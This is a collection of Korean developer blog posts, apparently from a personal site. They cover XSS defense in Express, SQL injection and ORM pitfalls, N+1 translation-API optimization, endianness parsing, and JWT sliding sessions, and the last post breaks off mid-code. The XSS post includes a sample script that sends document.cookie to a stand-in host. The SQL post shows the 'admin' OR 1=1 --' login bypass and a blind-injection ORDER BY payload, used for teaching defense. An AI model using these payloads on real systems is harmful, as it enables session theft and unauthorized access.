[{"content":"1. XSS 이전 글에서 다뤘던 SQL Injection이 \u0026lsquo;데이터베이스\u0026rsquo;를 노리는 공격이었다면, 이번에 다룰 XSS(Cross-Site Scripting, 교차 사이트 스크립팅) 는 \u0026lsquo;사용자의 브라우저(클라이언트)\u0026rsquo; 를 노리는 대표적인 웹 취약점입니다.\n공격의 핵심은 아주 단순합니다. 웹 사이트에 악의적인 스크립트(주로 JavaScript)를 주입하여, 다른 사용자의 브라우저에서 그 스크립트가 실행되게 만드는 것\u0026quot; 입니다.\n어떻게 동작할까? 게시판의 댓글 기능을 상상해 봅시다. 공격자가 댓글 입력창에 평범한 텍스트 대신 아래와 같은 스크립트를 작성하여 등록합니다.\n// 사용자의 세션 토큰(쿠키)을 해커의 서버로 몰래 전송 location.href = \u0026#39;[http://hacker.com/steal?cookie=](http://hacker.com/steal?cookie=)\u0026#39; + document.cookie; 서버가 이 입력을 아무런 의심 없이 DB에 저장(Stored XSS)하고, 이후 일반 사용자가 해당 게시글을 클릭하면 어떻게 될까? 피해자의 브라우저는 화면에 댓글을 렌더링하다가 스크립트 태그를 만나면, 단순한 문자가 아닌 \u0026lsquo;실행해야 할 코드\u0026rsquo; 로 인식하고 즉시 실행해 버립니다. 결과적으로 피해자는 자신도 모르는 사이에 로그인 세션을 탈취당하게 됩니다.\n2. 프로젝트(HI-REMS)에서 적용한 XSS 방어 전략 이러한 XSS를 막기 위한 가장 확실한 방법은, 클라이언트로부터 들어오는 모든 입력값에서 \u0026lt; 나 \u0026gt; 같은 특수문자를 단순 문자로 변환(치환)해 버리는 Sanitization(무해화) 작업입니다.\n제가 진행한 에너지 데이터 분석 플랫폼(HI-REMS) 프로젝트의 백엔드(Node.js + Express)에서는 이를 미들웨어 단에서 일괄 처리하도록 구현했습니다.\n단계 1 : 재귀적 필터링 함수 설계 클라이언트의 요청은 단순한 문자열일 수도 있지만, 객체 안에 배열이 있고 그 안에 다시 객체가 있는 복잡한 JSON 형태일 수도 있습니다. 따라서 모든 뎁스(Depth)의 데이터를 파고들어 필터링하는 재귀(Recursive) 함수를 만들었습니다. npm의 xss 라이브러리를 활용했습니다.\nconst xss = require(\u0026#39;xss\u0026#39;); const xssClean = (obj) =\u0026gt; { // 1. 문자열인 경우: xss 라이브러리를 통해 즉시 태그 무해화 처리 if (typeof obj === \u0026#39;string\u0026#39;) return xss(obj); // 2. 객체나 배열인 경우: 내부 속성을 순회하며 자기 자신(xssClean)을 재귀 호출 if (typeof obj === \u0026#39;object\u0026#39; \u0026amp;\u0026amp; obj !== null) { for (let key in obj) { obj[key] = xssClean(obj[key]); } } return obj; }; 단계 2 : Express 전역 미들웨어로 적용 컨트롤러(Controller)마다 일일이 필터링 함수를 호출하는 것은 휴먼 에러를 유발하기 쉽습니다. 따라서 라우터를 타기 전, 애플리케이션 최상단에서 모든 body, query, params를 덮어씌우는 전역 미들웨어로 등록했습니다.\napp.use((req, res, next) =\u0026gt; { if (req.body) req.body = xssClean(req.body); if (req.query) req.query = xssClean(req.query); if (req.params) req.params = xssClean(req.params); next(); }); 추가 방어 : Helmet을 통한 HTTP 보안 헤더 설정 XSS 방어에 힘을 실어주기 위해 helmet 패키지도 적용했습니다. helmet은 브라우저가 스크립트 실행 권한을 엄격하게 통제하도록 다양한 HTTP 보안 헤더(예: X-XSS-Protection 등)를 자동으로 설정해 주는 든든한 방어막입니다.\nconst helmet = require(\u0026#39;helmet\u0026#39;); app.use(helmet()); 3. 테스트 및 검증 3.1. 나쁜 태그로 확인 \u0026lt; 는 \u0026amp;lt; 로, \u0026gt; 는 \u0026amp;gt; (HTML Entity)로 변환되었습니다. 이제 이 데이터가 프론트엔드로 다시 전달되어 화면에 그려지더라도, 브라우저는 이를 스크립트 코드가 아닌 단순한 \u0026ldquo;문자열(Text)\u0026ldquo;로만 렌더링하므로 완벽하게 안전합니다.\n3.2 . Helmet 적용으로 인한 HTTP 보안 헤더 네트워크 탭을 확인해 보면 서버가 응답할 때 강력한 보안 헤더들을 함께 내려보내는 것을 볼 수 있습니다. 각 헤더가 브라우저에서 어떻게 XSS와 취약점을 막아내는지 보자면,\nHttpOnly 쿠키 (2중 방어) : 발급된 토큰 쿠키에 HttpOnly 속성이 부여되어 있어, 설령 XSS 공격이 성공하더라도 해커가 자바스크립트를 이용해 세션 토큰에 접근하는 것을 원천 차단합니다.\ncontent-security-policy (CSP) : 신뢰할 수 있는 소스(self)에서만 스크립트나 이미지를 불러오도록 제한하여 악의적인 외부 스크립트 삽입을 차단합니다.\nx-content-type-options: nosniff : 브라우저가 파일의 MIME 타입을 임의로 추측하지 못하게 하여 파일 업로드 취약점을 막습니다.\nstrict-transport-security (HSTS) : 무조건 HTTPS 통신만 강제하도록 설정되어 있습니다.\nX-Content-Type-Options (MDN 공식 문서)\nHSTS (MDN 공식 문서)\nCSP (MDN 공식 문서)\nSet-Cookie (MDN 공식 문서)\n4. 마치며 XXS를 적용하는 과정에서 이론으로만 알고 있던 내용을 실제로 재귀적 필터링 미들웨어를 직접 구현하여 스크립트 공격을 방어해보면서, Express 프레임워크의 요청/응답 생명주기를 한층 더 알게 되었던 계기가 되었습니다.\n","permalink":"https://bonggyunjo.github.io/posts/xss-and-middle-defense/","summary":"사용자의 브라우저를 노리는 XSS(교차 사이트 스크립팅) 공격. 그 개념과 위험성을 알아보고, 실제 Node.js/Express 프로젝트에서 재귀적 미들웨어를 통해 어떻게 요청 데이터를 안전하게 필터링했는지 공유합니다.","title":"XSS의 동작 원리와 Express 미들웨어를 활용한 완벽 방어기"},{"content":"1. 가장 오래되었지만, 여전히 치명적인 위협 웹 애플리케이션 보안을 논할 때 절대 빠지지 않는 단골손님이 있습니다. 바로 SQL Injection(SQL 삽입 공격) 입니다.\n개발을 처음 배울 때 \u0026ldquo;쿼리문에 파라미터를 직접 더하지 마라\u0026quot;는 경고를 숱하게 듣지만, 막상 이것이 데이터베이스 레벨에서 어떻게 동작하고 왜 뚫리는지, 그리고 현대의 프레임워크들은 이를 어떻게 방어하고 있는지 본질을 파악하는 것은 매우 중요합니다.\n이번 글에서는 SQL Injection의 기초적인 동작 원리를 살펴보고, 현대 ORM 생태계에서 우리가 놓치기 쉬운 보안적 허점들에 대해 정리해 보겠습니다.\n2. SQL Injection, 어떻게 동작하는가? SQL Injection의 핵심은 사용자의 입력값이 \u0026lsquo;데이터\u0026rsquo;가 아닌 \u0026lsquo;실행 가능한 코드(쿼리)\u0026lsquo;로 인식되게 만드는 것 입니다. 가장 고전적이고 유명한 OR 1=1 공격을 통해 이를 확인해 보겠습니다.\n취약한 코드 예시 (문자열 결합) 만약 로그인 로직을 아래와 같이 문자열 결합(String Concatenation) 방식으로 구현했다고 가정해 봅시다.\nString userId = request.getParameter(\u0026#34;id\u0026#34;); String userPw = request.getParameter(\u0026#34;pw\u0026#34;); // 최악의 쿼리 작성 방식 String query = \u0026#34;SELECT * FROM users WHERE id = \u0026#39;\u0026#34; + userId + \u0026#34;\u0026#39; AND pw = \u0026#39;\u0026#34; + userPw + \u0026#34;\u0026#39;\u0026#34;; 공격 시나리오 공격자가 아이디 입력창에 다음과 같은 악의적인 문자열을 입력합니다.\n입력값: admin' OR 1=1 --\n이 입력값이 쿼리문과 결합되면, 데이터베이스 서버로 전달되는 최종 쿼리는 다음과 같이 변조됩니다.\nSELECT * FROM users WHERE id = \u0026#39;admin\u0026#39; OR 1=1 --\u0026#39; AND pw = \u0026#39;...\u0026#39; [쿼리 해석] id = \u0026#39;admin\u0026#39; 이거나 (OR) 1=1 (항상 참인 조건) 결과적으로 이 쿼리는 **\u0026ldquo;비밀번호를 묻지도 따지지도 않고, users 테이블의 모든 데이터를 무조건 참(True)으로 반환하라\u0026rdquo;**는 명령이 됩니다. 해커는 비밀번호를 모르더라도 관리자(admin) 계정으로 로그인이 가능해지는 끔찍한 결과를 초래합니다.\n3. 프레임워크의 기본 방어: PreparedStatement의 원리 그렇다면 우리는 이를 어떻게 방어하고 있을까요? 핵심 방어책은 바로 PreparedStatement (파라미터 바인딩) 방식입니다.\n과거 프레임워크 없이 순수 JDBC만으로 개발할 때는, DB 연결부터 쿼리 문자열 작성, PreparedStatement 선언, 파라미터 세팅, 그리고 ResultSet을 통한 결과 매핑까지 이 모든 과정을 개발자가 일일이 수동으로 구현해야 했습니다. 코드는 길어지고 번거로웠지만, 이 과정을 거쳐야만 안전하게 데이터를 처리할 수 있었죠.\n하지만 현대의 프레임워크를 사용하면 이러한 번거로운 과정이 기본적으로 추상화되어 방어됩니다. 프레임워크가 알아서 내부적으로 PreparedStatement를 생성해 주므로, 개발자는 쿼리와 데이터만 넘겨주면 기본적인 SQL Injection 방어가 자동으로 이루어집니다.\n주의 : 쿼리를 수동으로 작성해야 할 때의 철칙 프레임워크가 많은 것을 도와주지만, 복잡한 통계나 특정 조건 때문에 수동으로 쿼리를 직접 작성해야 하는 상황은 반드시 생깁니다. 이때는 무조건 문자열 결합(+)을 피하고, 환경에 맞춰 ? (JDBC, Spring 등)나 $1 (PostgreSQL, Node.js 등) 와 같은 바인딩 파라미터를 사용해야만 합니다. 안전한 코드 예시\nString query = \u0026#34;SELECT * FROM users WHERE id = ? AND pw = ?\u0026#34;; // 프레임워크 없이 직접 할 경우의 번거롭지만 안전한 과정 PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, userId); pstmt.setString(2, userPw); ResultSet rs = pstmt.executeQuery(); 🔍 왜 ?나 $1을 쓰면 안전할까?\n단순히 특수문자를 이스케이프(Escape) 해주기 때문만이 아닙니다. 핵심은 쿼리의 컴파일 시점과 데이터의 삽입 시점을 분리 하는 데 있습니다. 쿼리 구조 미리 분석 (Prepare): DB 엔진은 ?나 $1이 포함된 쿼리 골격 자체를 먼저 분석하고 컴파일하여 실행 계획을 세웁니다.\n데이터 바인딩: 이후에 전달되는 사용자 입력값(admin\u0026rsquo; OR 1=1 \u0026ndash;)은 앞서 세워둔 \u0026lsquo;구조\u0026rsquo; 를 변경할 수 없는 단순한 \u0026lsquo;문자열 데이터(Literal)\u0026rsquo; 로 취급됩니다. 따라서 DB는 아이디가 문자 그대로 admin\u0026rsquo; OR 1=1 \u0026ndash; 인 사용자를 찾게 되며, 당연히 매칭되는 데이터가 없으므로 공격은 실패하게 됩니다.\n4. ORM은 과연 100% 안전할까? 최근 Spring Data JPA(Hibernate), Prisma, TypeORM 같은 ORM 기술이 표준으로 자리 잡으면서, 개발자가 직접 쿼리를 작성할 일은 크게 줄었습니다. 이들 ORM은 내부적으로 PreparedStatement를 완벽하게 지원하므로, 일반적인 CRUD 작업에서는 SQL Injection 공격이 통하지 않습니다.\n그렇다면, ORM을 사용하면 SQL Injection 걱정은 아예 안 해도 되는 걸까요? 정답은 \u0026ldquo;아니오\u0026rdquo; 입니다. 최근 보안 기사나 기술 블로그를 보면 ORM 환경에서도 SQL Injection 취약점이 발견되는 사례가 종종 보고됩니다.\nORM 환경에서 발생하는 취약점 케이스 1. 동적 정렬(ORDER BY)에서의 문자열 결합 파라미터 바인딩(?)은 WHERE 절의 값(Value)에는 적용되지만, 테이블명이나 컬럼명에는 적용할 수 없습니다. 만약 사용자가 정렬 기준 컬럼명을 직접 입력하도록 놔둔 채 이를 문자열로 결합한다면 취약점이 발생합니다.\n// JPA 사용 시 취약할 수 있는 예시 (@Query 내부에서의 동적 컬럼) @Query(\u0026#34;SELECT u FROM User u ORDER BY \u0026#34; + userInputColumn) // 공격자가 userInputColumn에 (CASE WHEN (1=1) THEN id ELSE name END) 와 같은 구문을 주입하면, Blind SQL Injection 공격의 통로가 될 수 있습니다. 2. 네이티브 쿼리(Native Query)의 오남용 JPA에서 복잡한 통계 쿼리를 짜기 위해 @Query(nativeQuery = true)를 사용할 때, 바인딩 파라미터(:param)를 쓰지 않고 무심코 + 연산자로 파라미터를 더해버리는 실수가 잦습니다. 이는 고전적인 문자열 결합 공격과 완벽하게 동일한 취약점을 만들어냅니다.\n💡 결론 및 회고 도구(ORM)가 발전하면서 보안의 기본적인 부분은 프레임워크가 알아서 처리해 주는 편리한 세상이 되었습니다. 하지만 편리함 뒤에 숨겨진 추상화의 원리를 모르면, 예외적인 상황에서 치명적인 보안 구멍을 만들게 됩니다. PreparedStatement 가 알아서 막아주겠지\u0026quot;라는 맹신보다는, \u0026ldquo;내가 작성한 코드가 DB 엔진에 어떤 구조로 전달되는가?\u0026ldquo;를 꿰뚫어 보는 엔지니어링 마인드가 결국 시스템의 견고함을 결정한다는 것을 다시 한번 깨닫습니다.\n","permalink":"https://bonggyunjo.github.io/posts/sql-injection-and-orm/","summary":"웹 보안의 가장 기초이자 치명적인 취약점인 SQL Injection. 기본적인 동작 원리(OR 1=1)부터 PreparedStatement의 방어 메커니즘, 그리고 최신 ORM 환경에서 발생하는 예외적인 취약점까지 깊이 있게 파헤쳐 봅니다.","title":"SQL Injection의 본질과 방어: ORM은 과연 100% 안전할까?"},{"content":"1. 편리함 뒤에 숨은 성능의 늪 MRPD 프로젝트를 진행하며 외국인 사용자들을 위해 응답 데이터를 자동으로 번역해 주는 기능을 구현했습니다. @Translate 어노테이션만 붙이면 RestControllerAdvice가 이를 감지해 구글 번역 API를 호출하는 기능입니다.\n하지만 실제 데이터를 돌려보는 순간, 서버 로그에는 끝도 없는 API 호출 기록이 찍히기 시작했습니다. 게시글 리스트 하나를 조회하는데 필드가 10개라면, 구글 API를 10번이나 호출하고 있었던 것입니다. 이것이 바로 N+1 문제의 시작이었습니다.\n2. N+1 문제란 무엇인가? N+1 문제는 ORM(객체-관계 매핑)을 사용할 때 하나의 요청으로 N개의 관련 데이터를 가져오려 하지만, 실제로는 1번의 기본 쿼리에 추가적으로 N번의 쿼리가 더 발생하여 총 N+1번의 쿼리가 실행되는 성능 비효율 현상을 말합니다. 흔히 JPA 조회 시 발생하는 것으로 알려져 있지만, 외부 API 호출 환경에서도 동일하게 발생하며 훨씬 더 치명적입니다.\n정의: 1번의 쿼리(또는 요청)로 가져온 N개의 데이터를 처리하기 위해, 연관된 데이터를 가져오는 N번의 추가 요청이 발생하는 현상입니다. 스프링에서의 발생: 보통 Loop 내부에서 서비스 로직을 호출할 때 발생합니다. 이번 프로젝트에서는 응답 객체의 필드를 하나씩 순회하며 번역 메서드를 호출한 것이 원인이었습니다. 치명적인 이유: DB 쿼리는 내부 망 통신이라도 하지만, 구글 API 호출은 네트워크 오버헤드가 발생하며 호출당 **비용(Cost)**이 발생합니다. 데이터가 많아질수록 서버는 느려지고 지갑은 가벼워지는 구조였죠. [Image of N+1 query problem visualization in Spring]\n3. 개선 전: 필드별 개별 호출 (The Naive Way) 처음 구현한 방식은 필드 단위로 번역을 요청하는 \u0026lsquo;순진한\u0026rsquo; 방식이었습니다.\n기존 로직의 흐름 응답 객체의 필드를 리플렉션으로 순회한다. @Translate가 붙은 필드를 찾는다. translationService.translate(text)를 호출한다. (내부에서 DB 조회 및 API 호출 발생) // TranslationAdvice 내부 (개선 전) for (Field field : targets) { String text = (String) field.get(obj); // 문제의 구간: 필드마다 DB와 API에 계속 노크를 함 String translated = translationService.translate(text, targetLang); field.set(obj, translated); } 이 방식은 게시글 20개를 조회할 때, 각 게시글에 번역 필드가 3개씩만 있어도 최대 60번의 API 호출이 발생할 수 있는 위험한 구조였습니다.\n위 2개의 이미지를 보면 알 수 있듯이 개선 전은 약 1,131ms로 1.1초정도 걸리는 것을 확인할 수 있습니다.\n실행되는 쿼리 또한 where source tc1_0.source=text?로 쿼리 하나하나가 실행되는 것을 볼 수 있습니다. (30개의 게시글 = 30개의 쿼리 실행)\n4. 해결 방법 이 문제를 해결하기 위해 번역 대상을 한꺼번에 모아서 처리하는 배치(Batch) 방식을 도입했습니다.\n수집 : 응답 객체 내의 모든 번역 대상 텍스트를 중복 없이(Set) 한곳에 모읍니다. 일괄 조회 : IN절을 사용하여 단 한번의 쿼리로 DB 캐시를 확인합니다. public interface TranslationCacheRepository extends JpaRepository\u0026lt;TranslationCache, Long\u0026gt; { List\u0026lt;TranslationCache\u0026gt; findBySourceTextInAndTargetLang( Collection\u0026lt;String\u0026gt; sourceTexts, String targetLang); } 일괄 번역 : 캐시에 없는 텍스트들만 모아 구글 API를 단 한 번 호출합니다. 매핑 : 번역된 결과 맵(Map\u0026lt;Source, Translated\u0026gt;)을 사용하여 각 필드에 값을 할당합니다. 핵심 구현 코드 public Map\u0026lt;String, String\u0026gt; translateBulk(List\u0026lt;String\u0026gt; texts, String targetLang) { Set\u0026lt;String\u0026gt; uniqueTexts = new HashSet\u0026lt;\u0026gt;(texts); Map\u0026lt;String, String\u0026gt; resultMap = new HashMap\u0026lt;\u0026gt;(); List\u0026lt;TranslationCache\u0026gt; cachedItems = repository.findBySourceTextInAndTargetLang(uniqueTexts, targetLang); cachedItems.forEach(item -\u0026gt; resultMap.put(item.getSourceText(), item.getTranslatedText())); List\u0026lt;String\u0026gt; missingTexts = uniqueTexts.stream() .filter(text -\u0026gt; !resultMap.containsKey(text)) .toList(); if (!missingTexts.isEmpty()) { List\u0026lt;String\u0026gt; apiResults = callGoogleApiBulk(missingTexts, targetLang); // 결과 저장 로직... } return resultMap; } 실제로 테이블을 비운 후 위 핵심 코드로 적용하고 실행했을 때 다음과 같은 결과가 나온걸 확인할 수 있습니다.\n쿼리 또한 tc1_0.soruce_text in (?,?,?,?,? \u0026hellip;. ?) 으로 단 하나의 쿼리로 실행되는것을 볼 수 있습니다. (Batch 방식 도입, N+1 문제 해결)\n5. 개선 전 vs 개선 후 실제로 약 30개의 게시글을 넣은 후에 테스트를 진행 해보았을 때, 개선 전\nDB 쿼리 횟수 : 30회, 네트워크 비용 : 고비용, 안정성 : API 할당량 소모 빠름, 실행 시간 : 1,131ms\n개선 후\nDB 쿼리 횟수 : 1회, 네트워크 비용 : 저비용(단일 왕복), 안정성 : 효율적 소모, 실행 시간 : 450ms\n6 마치며. N+1 문제는 Spring JPA에서 자주 발생하는 문제중 하나입니다. 이번 다국어 번역 시스템 기능을 구현하면서 외부 리소스(DB,API)와의 언제나 최후의 수단이여야 하며, 반드시 최소화해야 한다는 점입니다. N+1의 근본적인 개념을 짚고 나서, 문제 과정을 겪은 뒤 실제로 테스트 후 성능 개선까지 전반적으로 겪어보면서 또 하나의 기술적 경험을 얻었습니다.\n","permalink":"https://bonggyunjo.github.io/posts/n+1/","summary":"응답 데이터의 모든 필드를 번역하려다 마주한 N+1 문제. Google Translate API 호출 최적화와 DB 캐싱을 통해 성능과 비용이라는 두 마리 토끼를 잡은 과정을 공유합니다.","title":"N+1 문제, 번역 시스템 성능 최적화(N+1 문제 해결)"},{"content":"데이터가 깨져 보여요.. HI-REMS 프로젝트를 개발하며 가장 당혹스러웠던 순간은 DB에 쌓인 정체불명의 16진수 데이터를 마주했을 때였습니다. 에너지 계측 장치(RTU)는 표준 프로토콜에 따라 데이터를 보내고 있었지만, 이를 단순히 합치거나 읽으려고 하면 전혀 다른 숫자가 출력되었습니다.\nbody의 형태는 다음과 같았습니다.\n14 01 01 00 00 00 02 00 05 02 fa 00 05 02 fa 00 e5 00 03 02 en 03 cb 02 57 00 00 00 00 3a 44 b1 00 예를 들어, 전압 값으로 0x00 0xDC가 들어왔을 때 이를 어떻게 조합하느냐에 따라 220이 될 수도, 혹은 전혀 다른 값이 될 수도 있습니다. 이 혼란의 중심에는 데이터를 메모리에 배열하는 방식인 **엔디안(Endianness)**이 있었습니다.\n2. 엔디안(Endianness)이란 무엇인가? 엔디안은 컴퓨터 메모리에 연속된 바이트를 배열하는 **\u0026lsquo;순서\u0026rsquo;**를 의미합니다. 주로 2바이트 이상의 큰 데이터를 처리할 때 어느 쪽을 먼저 저장하느냐에 따라 두 가지로 나뉩니다.\n1) 빅 엔디안 (Big-endian) 정의: 낮은 주소에 데이터의 상위 바이트(큰 쪽)부터 저장하는 방식입니다. 특징: 사람이 숫자를 읽는 방식(왼쪽에서 오른쪽으로)과 같아 직관적입니다. 주요 사용: 네트워크 프로토콜 표준(Network Byte Order), 대형 메인프레임 등. 2) 리틀 엔디안 (Little-endian) 정의: 낮은 주소에 데이터의 하위 바이트(작은 쪽)부터 저장하는 방식입니다. 특징: 수치 연산 시 물리적으로 효율적이며, 하위 바이트만 떼어서 연산하기 유리합니다. 주요 사용: Intel x86, ARM 프로세서 (현대 PC 및 모바일 환경의 대다수). 3. 기기 간 데이터 불일치 (GPS 데이터의 경우) 실무에서 엔디안 변환이 필요한 가장 대표적인 경우는 데이터 수집 기기와 처리 서버의 환경이 다를 때입니다.\n모바일 GPS 데이터를 PC 서버에서 처리하는 시나리오\n예를 들어, 모바일 GPS 데이터를 PC에서 처리할 때 모바일 기기(ARM 기반, 리틀 엔디안)에서 수집한 위도/경도 데이터는 메모리에 역순으로 저장되어 있을 수 있습니다. 하지만 이 데이터를 전송 표준인 네트워크 바이트 순서(빅 엔디안)로 변환하지 않고 그대로 DB에 밀어 넣으면, PC(x86) 환경의 백엔드에서 읽었을 때 좌표가 지구 반대편으로 찍히는 현상이 발생합니다.\n따라서 이 과정에서 DB에서 읽은 리틀 에니안 데이터를 시스템 표준인 빅 엔디안으로 재배치하는 과정이 반드시 필요합니다.\n4. HI-REMS에서의 실제 적용 및 해결 관련 소스 코드 상세 확인: https://github.com/Hi-REMS/Hi-Rems-Server\nHI-REMS 프로젝트는 한국에너지공단의 신재생에너지 표준 프로토콜을 준수합니다. 이 프로토콜은 데이터를 빅 엔디안(Network Byte Order) 방식으로 전송하도록 규정하고 있습니다.\n1) 문제 상황의 진단 DB의 log_rtureceivelog 테이블에 저장된 body 값은 16진수 문자열 형태입니다. 이를 자바스크립트 객체로 변환하여 대시보드에 보여주기 위해서는, 각 바이트를 프로토콜 명세에 맞게 조합해야 했습니다.\n14 01 01 00 00 00 02 00 05 02 fa 00 05 02 fa 00 e5 00 03 02 en 03 cb 02 57 00 00 00 00 3a 44 b1 00 2) 해결 방법: 비트 연산을 이용한 커스텀 파서(Parser) 구현 src/energy/parser.js 내에 엔디안을 고려한 정수 변환 유틸리티 함수를 구축하여 문제를 해결했습니다.\n핵심 구현 코드: // 2바이트(u16) 빅 엔디안 변환: 상위 바이트를 8비트 밀어내고 하위와 결합 const u16 = (a, i) =\u0026gt; ((a[i] \u0026lt;\u0026lt; 8) | a[i + 1]) \u0026gt;\u0026gt;\u0026gt; 0; // 4바이트(u32) 빅 엔디안 변환: 가장 앞의 바이트를 가장 높은 자리수로 처리 const u32 = (a, i) =\u0026gt; (((a[i] \u0026lt;\u0026lt; 24) | (a[i + 1] \u0026lt;\u0026lt; 16) | (a[i + 2] \u0026lt;\u0026lt; 8) | a[i + 3]) \u0026gt;\u0026gt;\u0026gt; 0) \u0026gt;\u0026gt;\u0026gt; 0; // 8바이트(u64) 누적 발전량 데이터 처리 const u64 = (a, i) =\u0026gt; (BigInt(a[i]) \u0026lt;\u0026lt; 56n) | (BigInt(a[i + 1]) \u0026lt;\u0026lt; 48n) | ... | BigInt(a[i + 7]); 위에서 정의한 u16과 u32 함수가 실제 body 데이터를 어떻게 적용하는지 살펴보자면, 프로토콜 가이드라인에 따르면 태양광 단상(energy 0x01, type 0x01)의 전압 데이터는 5번 오프셋부터 2바이트를 차지합니다.\n// 예시 데이터(body) 일부 // ... 00 00 00 02 00 05 ... (5번 인덱스부터 \u0026#39;00 05\u0026#39;) const pvVoltage = u16(b, 5); // 연산 과정: (0x00 \u0026lt;\u0026lt; 8) | 0x05 =\u0026gt; 0x0005 =\u0026gt; 5(V) 이처럼 단순한 16진수 나열이 비트 연산을 거쳐 우리가 이해할 수 있는 전압(5V)라는 유의미한 수치로 변환됩니다.\n5. 데이터 정형화의 완성 이러한 파싱 과정을 거치면, 파편화된 Hex 데이터는 백엔드 서버 내에서 다음과 같은 깔끔한 JSON 객체로 재탄생합니다.\n{ \u0026#34;ok\u0026#34;: true, \u0026#34;energyName\u0026#34;: \u0026#34;태양광\u0026#34;, \u0026#34;metrics\u0026#34;: { \u0026#34;pvVoltage\u0026#34;: 5, \u0026#34;pvCurrent\u0026#34;: 2, \u0026#34;pvPowerW\u0026#34;: 10, \u0026#34;cumulativeWh\u0026#34;: \u0026#34;250000\u0026#34;, \u0026#34;isOperating\u0026#34;: true } } 6. 마치며 HI-REMS 프로젝트를 진행하며 비트 하나하나를 꼼꼼히 따져 구현한 이 파서 로직은, 현재 GS 인증을 준비하는 과정에서도 데이터의 무결성을 증명하는 강력한 무기가 되었습니다. 하드웨어의 언어(Hex)를 소프트웨어의 언어(Object)로 번역하는 과정은 주요한 역량중 하나가 아닐까 생각합니다.\n","permalink":"https://bonggyunjo.github.io/posts/endianness/","summary":"RTU가 보낸 16진수 데이터가 왜 엉뚱한 숫자로 변할까요? HI-REMS 프로젝트에서 마주한 빅 엔디안(Big-endian) 처리 과정과 비트 연산을 통한 데이터 정형화 과정을 상세히 기록합니다.","title":"엔디안이란 무엇인지, 비트 연산을 이용한 엔디안 변환 로직"},{"content":"1. 시작하며: HI-REMS의 초기 인증 아키텍처 HI-REMS 프로젝트를 개발하면서 가장 핵심적으로 설계한 부분 중 하나는 사용자의 보안과 데이터 무결성입니다. 특히 인증 시스템은 서비스의 관문과도 같기에, 보안성이 높은 Only-Cookie 기반의 JWT(JSON Web Token) 인증 방식을 채택했습니다.\n초기에 구현했던 로그인 흐름은 다음과 같았습니다.\n사용자가 이메일과 비밀번호로 로그인을 시도합니다. 서버는 검증 후 유효 기간이 **1시간(60분)**으로 고정된 Access Token을 발급합니다. 클라이언트는 이 토큰을 쿠키에 저장하고 매 요청마다 서버에 전송합니다. 토큰 생성 후 딱 1시간이 지나는 시점에 토큰은 만료되며, 클라이언트의 Axios 인터셉터(Interceptor)가 401 Unauthorized 에러를 감지하여 자동으로 로그아웃 처리를 수행합니다. 이 방식은 구현이 명확하고 보안 정책이 단순하다는 장점이 있었으나, 실제 사용자 환경을 고려했을 때 예상치 못한 변수가 존재했습니다.\n2. 문제의 발견: \u0026ldquo;열심히 작업 중인데 왜 쫓겨나나요?\u0026rdquo; 시스템을 직접 테스트하고 운영 시나리오를 점검하던 중, 한 가지 치명적인 UX(사용자 경험) 결함을 발견했습니다. 바로 **\u0026lsquo;Fixed Timeout(고정 만료)\u0026rsquo;**에 따른 작업 단절 문제입니다.\nHI-REMS는 에너지 데이터를 분석하고 관리하는 플랫폼입니다. 사용자는 복잡한 설정을 변경하거나 혹은 지속적인 모니터링이 필요한 시점이 있는데, 만약 사용자가 로그인한 지 55분이 지난 시점에 아주 중요한 데이터를 입력하거나 모니터링을 하다가 토큰이 만료가 되는 문제에 대해 어떻게 처리할 것인지에 대한 문제를 발견했습니다.\n데이터 유실 위험: 사용자가 정성껏 데이터를 입력하고 \u0026lsquo;저장\u0026rsquo; 버튼을 누르는 찰나에 1시간이 경과하면, 토큰은 만료됩니다. 예상치 못한 인터셉트: 클라이언트는 401 에러를 받고 즉시 로그인 페이지로 튕겨 나가게 되며, 작성 중이던 데이터는 서버에 도달하지 못한 채 증발해 버립니다. 불친절한 흐름: 사용자가 서비스 내에서 활발히 활동하고 있음에도 불구하고, 시스템은 \u0026lsquo;최초 로그인 시점\u0026rsquo;만을 기준으로 사용자를 강제 퇴장시키는 셈입니다. 개발자로서 \u0026ldquo;기능이 돌아가니까 문제없다\u0026quot;고 넘기기에는 사용자가 겪을 당혹감이 있을거라고 생각했습니다. 이에 활동 중인 사용자에게는 세션을 유연하게 연장해줄 수 있는 대안이 필요했습니다.\n3. 해결책 탐색: 슬라이딩 세션(Sliding Session)도입 이 문제를 해결하기 위해 조사하던 중 **\u0026lsquo;슬라이딩 세션(Sliding Session)\u0026rsquo;**이라는 개념을 알게 되었습니다. 마치 자동문의 센서가 사람을 감지할 때마다 문이 열려 있는 시간을 초기화하는 것처럼, 사용자가 API 요청을 보낼 때마다 세션 만료 시간을 자동으로 연장해주는 방식입니다.\n하지만 단순히 무한정 연장만 해주는 것은 보안상 위험합니다. 만약 사용자의 PC가 공공장소에서 로그인된 채 방치된다면, 세션이 끊이지 않고 영원히 유지될 수 있기 때문입니다.\n따라서 저는 다음과 같은 세부 리팩토링 전략을 세웠습니다.\nSliding Expiration: 유효한 요청이 들어올 때마다 만료 시간을 갱신한 새 토큰을 발급한다. Absolute Timeout (절대 만료 시간): 사용자가 아무리 활동 중이라도, 최초 로그인 시점으로부터 일정 시간(예: 1시간)이 지나면 보안을 위해 반드시 재인증을 받도록 강제한다. 4. 리팩토링 구현 상세 (Code Review) 제공해주신 백엔드 코드를 바탕으로 리팩토링된 핵심 로직을 분석해 보겠습니다.\n4.1 로그인 시점의 \u0026lsquo;세션 시작점\u0026rsquo; 기록 먼저 login 라우터에서 토큰을 처음 생성할 때, 현재 시각을 sess라는 페이로드에 담아 \u0026lsquo;이 세션의 절대적인 시작점\u0026rsquo;을 박아둡니다.\n// auth.router.js router.post(\u0026#39;/login\u0026#39;, async (req, res) =\u0026gt; { // ... 유저 검증 로직 ... const loginSessionTime = Date.now(); // 세션의 절대적 시작 시간 const access = signAccessToken({ sub: user.member_id, username: user.username, is_admin: user.is_admin }, loginSessionTime); // sess 페이로드에 포함됨 res.cookie(\u0026#39;access_token\u0026#39;, access, cookieOpts()).json({ ok: true, token: access }); }); 4.2 인증 미들웨어에서의 슬라이딩 및 절대 만료 검증 가장 핵심이 되는 requireAuth 미들웨어입니다. 매 요청마다 사용자의 세션 상태를 체크하고 토큰을 갱신합니다. // requireAuth.js function requireAuth(req, res, next) { const bearer = req.headers.authorization || \u0026#39;\u0026#39;; const token = bearer.startsWith(\u0026#39;Bearer \u0026#39;) ? bearer.slice(7) : (req.cookies \u0026amp;\u0026amp; req.cookies.access_token) || \u0026#39;\u0026#39;; if (!token) return res.status(401).json({ message: \u0026#39;Unauthorized\u0026#39; }); try { const payload = 